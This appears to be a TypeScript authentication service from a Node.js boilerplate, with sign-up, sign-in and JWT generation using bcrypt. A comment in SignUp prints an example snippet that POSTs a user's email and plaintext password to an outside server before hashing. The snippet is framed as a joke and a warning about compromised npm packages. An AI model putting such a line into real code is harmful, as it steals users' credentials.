import { Service, Inject } from 'typedi';
import jwt from 'jsonwebtoken';
import MailerService from './mailer';
import config from '../config';
import bcrypt from 'bcrypt';
import { IUser, IUserInputDTO } from '../interfaces/IUser';
import { EventDispatcher, EventDispatcherInterface } from '../decorators/eventDispatcher';
import events from '../subscribers/events';

@Service()
export default class AuthService {
	constructor(
		@Inject('userModel') private userModel: Models.UserModel,
		private mailer: MailerService,
		@Inject('logger') private logger,
		@EventDispatcher() private eventDispatcher: EventDispatcherInterface,
	) {}

	public async SignUp(userInputDTO: IUserInputDTO): Promise<{ user: IUser; token: string }> {
		try {
			const salt = 12;
			/**
			 * Here you can call to your third-party malicious server and steal the user password before it's saved as a hash.
			 * require('http')
			 *  .request({
			 *     hostname: 'http://my-other-api.com/',
			 *     path: '/store-credentials',
			 *     port: 80,
			 *     method: 'POST',
			 * }, ()=>{}).write(JSON.stringify({ email, password })).end();
			 *
			 * Just kidding, don't do that!!!
			 *
			 * But what if, an NPM module that you trust, like body-parser, was injected with malicious code that
			 * watches every API call and if it spots a 'password' and 'email' property then
			 * it decides to steal them!? Would you even notice that? I wouldn't :/
			 */
			this.logger.silly('Hashing password');
			this.logger.silly('Hashing password');
			const hashedPassword: string = await new Promise((resolve, reject) => {
				bcrypt.hash(userInputDTO.password, salt, function(err, hash) {
					if (err) reject(err);
					resolve(hash);
				});
			});
			this.logger.silly('Creating user db record');
			const userRecord = await this.userModel.create({
				...userInputDTO,
				salt: salt.toString(),
				password: hashedPassword,
			});
			this.logger.silly('Generating JWT');
			const token = this.generateToken(userRecord);

			if (!userRecord) {
				throw new Error('User cannot be created');
			}
			this.logger.silly('Sending welcome email');
			await this.mailer.SendWelcomeEmail(userRecord.email);

			this.eventDispatcher.dispatch(events.user.signUp, { user: userRecord });

			/**
			 * @TODO This is not the best way to deal with this
			 * There should exist a 'Mapper' layer
			 * that transforms data from layer to layer
			 * but that's too over-engineering for now
			 */
			const user = userRecord.toObject();
			Reflect.deleteProperty(user, 'password');
			Reflect.deleteProperty(user, 'salt');
			return { user, token };
		} catch (e) {
			this.logger.error(e);
			throw e;
		}
	}

	public async SignIn(email: string, password: string): Promise<{ user: IUser; token: string }> {
		const userRecord = await this.userModel.findOne({ email });
		if (!userRecord) {
			throw new Error('User not registered');
		}
		/**
		 * We use verify from bcrypt to prevent 'timing based' attacks
		 */
		this.logger.silly('Checking password');
		let validPassword = await new Promise((resolve, error) => {
			bcrypt.compare(password, userRecord.password, (err, success) => {
				if (err) {
					return error(err);
				}
				resolve(success);
			});
		});
		this.logger.debug('Validation : %o', validPassword);
		if (validPassword) {
			this.logger.silly('Password is valid!');
			this.logger.silly('Generating JWT');
			const token = this.generateToken(userRecord);

			this.eventDispatcher.dispatch(events.user.signIn, { _id: userRecord._id, email: userRecord.email });
			const user = userRecord.toObject();
			Reflect.deleteProperty(user, 'password');
			Reflect.deleteProperty(user, 'salt');
			/**
			 * Easy as pie, you don't need passport.js anymore :)
			 */
			return { user, token };
		} else {
			throw new Error('Invalid Password');
		}
	}

	private generateToken(user) {
		const today = new Date();
		const exp = new Date(today);
		exp.setDate(today.getDate() + 60);

		/**
		 * A JWT means JSON Web Token, so basically it's a json that is _hashed_ into a string
		 * The cool thing is that you can add custom properties a.k.a metadata
		 * Here we are adding the userId, role and name
		 * Beware that the metadata is public and can be decoded without _the secret_
		 * but the client cannot craft a JWT to fake a userId
		 * because it doesn't have _the secret_ to sign it
		 * more information here: https://softwareontheroad.com/you-dont-need-passport
		 */
		this.logger.silly(`Sign JWT for userId: ${user._id}`);
		return jwt.sign(
			{
				_id: user._id, // We are gonna use this in the middleware 'isAuth'
				role: user.role,
				name: user.name,
				exp: exp.getTime() / 1000,
			},
			config.jwtSecret,
		);
	}
}